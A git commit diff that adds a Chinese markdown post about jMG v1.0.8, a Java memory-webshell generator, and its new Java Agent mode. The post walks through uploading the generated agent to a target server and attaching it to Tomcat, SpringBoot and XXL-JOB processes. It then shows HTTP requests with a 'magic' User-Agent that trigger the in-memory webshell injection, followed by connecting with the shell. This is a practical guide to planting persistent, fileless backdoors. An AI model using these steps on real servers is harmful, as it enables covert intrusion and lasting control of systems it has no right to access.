迁移文档到 repo

2026-09-23 10:11:52 +08:00 · 2024-07-20 15:12:10 +08:00
parent 6e667fb9ac
commit 65d4ca65ba
62 changed files with 652 additions and 0 deletions
@@ -0,0 +1,146 @@
+---
+title: jMG v1.0.8 - Java Agent 篇
+author: pen4uin
+date: 2024-04-12
+---
+
+# jMG v1.0.8 - Java Agent 篇
+
+鸽了半年的功能 —— 跨 JVM 进程注入内存马。
+
+https://github.com/pen4uin/java-memshell-generator/issues/4
+
+## 0x01 简介
+
+新增对 Tomcat 和 SpringBoot(SpringMVC) Agent 注入内存马的支持，并分别在 Tomcat 8 + JDK 8、SpringBoot 2 + JRE 8、XXL-JOB 2.1.0 完成测试。
+
+## 0x02 功能测试
+
+### Tomcat 8 + JDK 8
+
+0、测试环境
+
+- Tomcat 8.5
+- JDK 8
+
+1、选择 Tomcat + JAR_AGENT
+
+![](./img/1713209159695.png)
+
+2、将 agent 传到目标服务器上执行
+
+```shell
+# list pid
+java -jar jmg-agent.jar
+# attach pid
+java -jar jmg-agent.jar [pid]
+```
+
+![](./img/1713209182608.png)
+
+3、注入内存马
+
+- 携带 User-Agent: magic 触发内存马注入逻辑
+
+```http
+GET / HTTP/1.1
+Host: 127.0.0.1:9090
+User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
+Accept: image/avif,image/webp,*/*
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Accept-Encoding: gzip, deflate
+Connection: close
+```
+
+4、按照基础信息进行连接
+
+![](./img/1713209211285.png)
+
+### SpringBoot 2 + JRE 8
+
+0、测试环境
+- SpringBoot 2.5.3 + Embedded Jetty
+- JRE 8
+
+1、选择 SpringMVC + JAR_AGENT
+
+![](./img/1713209265218.png)
+
+2、将生成的 agent 传到目标服务器上执行
+
+纯 jre 环境无 tools.jar，jmg-agent 会自动释放内置 tools.jar 到临时目录
+
+![](./img/1713209278067.png)
+
+3、注入内存马
+
+- 携带 User-Agent: magic 触发内存马注入逻辑
+
+```http
+GET / HTTP/1.1
+Host: 127.0.0.1:9090
+User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
+Accept: image/avif,image/webp,*/*
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Accept-Encoding: gzip, deflate
+Connection: close
+```
+
+4、按照基础信息进行连接
+
+![](./img/1713209302039.png)
+
+### XXL-JOB (executor -> admin)
+
+0、测试环境
+
+- XXL-JOB 2.1.0
+- JDK 8
+- Executor 与 Admin 在同一台服务器上
+
+1、选择Tomcat + JAR_AGENT
+
+![](./img/1713209319058.png)
+
+2、将 agent 写到目标服务器上执行
+
+(1) 新增任务列 pid
+
+![](./img/1713209337767.png)
+
+(2) 调度日志看结果
+
+```text
+[*] Found pid 76495 ——> [com.xxl.job.admin.XxlJobAdminApplication]
+[*] Found pid 76592 ——> [com.xxl.job.executor.XxlJobExecutorApplication]
+```
+
+(3) 选择 admin pid 进行 attach
+
+![](./img/1713209372043.png)
+
+(4) attach 成功
+
+![](./img/1713209382797.png)
+
+3、注入内存马
+
+- 携带 User-Agent: magic 触发内存马注入逻辑
+
+```http
+GET /xxl-job-admin/toLogin HTTP/1.1
+Host: 127.0.0.1:9090
+User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
+Accept: application/json, text/javascript, */*; q=0.01
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Accept-Encoding: gzip, deflate
+Connection: close
+```
+
+4、按照基础信息进行连接
+
+![](./img/1713209425091.png)
+
+## 0x03 小结
+
+测试环境属于较理想环境，实战可能会遇到各种坑点，若有问题反馈与讨论请附上环境信息+报错日志。